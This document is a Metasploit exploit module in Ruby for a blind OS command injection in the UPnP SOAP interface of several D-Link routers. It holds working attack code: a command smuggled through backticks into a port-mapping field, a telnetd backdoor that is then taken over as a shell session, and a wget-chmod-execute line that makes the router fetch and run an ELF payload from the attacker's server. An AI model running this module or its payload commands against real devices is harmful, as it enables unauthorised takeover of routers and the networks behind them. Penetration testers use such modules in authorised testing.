##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper
	include Msf::Auxiliary::CommandShell

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'D-Link UPnP SOAP Command Execution',
			'Description' => %q{
					Different DLink Routers are vulnerable to OS Command injection in the UPnP
				SOAP interface.
				Not every device includes wget which we need for deploying our payload.
				On such devices you could use the telnet target for starting a telnet server or the
				cmd generic payload and try to start telnetd or execute other commands. Since it is
				a blind OS command injection vulnerability, there is no output for the executed
				command when using the cmd generic payload. A ping command against a controlled
				system could be used for testing purposes. This module has been tested successfully
				on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
				It looks like that there are some more D-Link devices affected.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '94924' ],
					[ 'EDB', '26664' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
				],
			'DisclosureDate' => 'Jul 05 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'CMD',	#all devices
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Telnet',	#all devices
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',	#DIR-865, DIR-645, and some more
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 0
			))

		register_options(
			[
				Opt::RPORT(49152),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
				#OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]),
				#OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ])
			], self.class)
	end


	def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)

		uri = '/soap.cgi'
		data_uri = "?service=WANIPConn1"

		data_cmd = "<?xml version=\"1.0\"?>"
		data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
		data_cmd << "<SOAP-ENV:Body>"

		if type == "add"
			vprint_status("#{rhost}:#{rport} - adding portmapping")

			soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

			data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
			data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
			data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
			data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
			data_cmd << "<NewEnabled>1</NewEnabled>"
			data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
			data_cmd << "<NewRemoteHost></NewRemoteHost>"
			data_cmd << "<NewProtocol>TCP</NewProtocol>"
			data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
			data_cmd << "</m:AddPortMapping>"
		else
			#we should clean it up ... otherwise we are not able to exploit it multiple times
			vprint_status("#{rhost}:#{rport} - deleting portmapping")
			soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

			data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
			data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
			data_cmd << "</m:DeletePortMapping>"
		end

		data_cmd << "</SOAP-ENV:Body>"
		data_cmd << "</SOAP-ENV:Envelope>"

		begin
			res = send_request_cgi({
				'uri'    => uri,
				'vars_get' => {
					'service' => 'WANIPConn1'
				},
				'ctype' => "text/xml",
				'method' => 'POST',
				'headers' => {
					'SOAPAction' => soapaction,
					},
				'data' => data_cmd
			})
		return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

		new_portmapping_description = rand_text_alpha(8)
		new_external_port = rand(65535)
		new_internal_port = rand(65535)

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			type = "add"
			res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
			if (!res or res.code != 200)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			end
			print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			type = "delete"
			res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
			if (!res or res.code != 200)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			end
			return
		end

		if target.name =~ /Telnet/
			#passw = datastore['TELNETPASS'] || rand_text_alpha(8)
			#user = datastore['TELNETUSER'] || rand_text_alpha(4)
			telnetport = rand(65535)

			#vprint_status("#{rhost}:#{rport} - User: #{user}")
			#vprint_status("#{rhost}:#{rport} - Password: #{passw}")
			vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

			#cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}"
			cmd = "telnetd -p #{telnetport}"
			type = "add"
			res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
			if (!res or res.code != 200)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			end
			type = "delete"
			res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
			if (!res or res.code != 200)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			end

			begin
				sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

				if sock
					print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
				else
					print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
				end

				print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
				auth_info = {
					:host   => rhost,
					:port   => telnetport,
					:sname => 'telnet',
					#:user   => user,
					#:pass	=> passw,
					:source_type => "exploit",
					:active => true
				}
				report_auth_info(auth_info)
				merge_me = {
					'USERPASS_FILE' => nil,
					'USER_FILE'     => nil,
					'PASS_FILE'     => nil,
					#'USERNAME'      => user,
					#'PASSWORD'      => passw
				}
				#taken from ./lib/msf/core/auxiliary/commandshell.rb
				info = "TELNET (#{rhost}:#{telnetport})"
				sess = Msf::Sessions::CommandShell.new(sock)
				sess.set_from_exploit(self)
				sess.info = info

				# Clean up the stored data
				sess.exploit_datastore.merge!(merge_me)

				# Prevent the socket from being closed
				self.sockets.delete(sock)
				self.sock = nil if self.respond_to? :sock

				framework.sessions.register(sess)
				sess.process_autoruns(datastore)

				sess
			rescue
				print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
			end
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
		type = "add"
		res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
		if (!res or res.code != 200)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end

		register_file_for_cleanup("/tmp/#{filename}")

		type = "delete"
		res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
		if (!res or res.code != 200)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
			end
		end
	end
end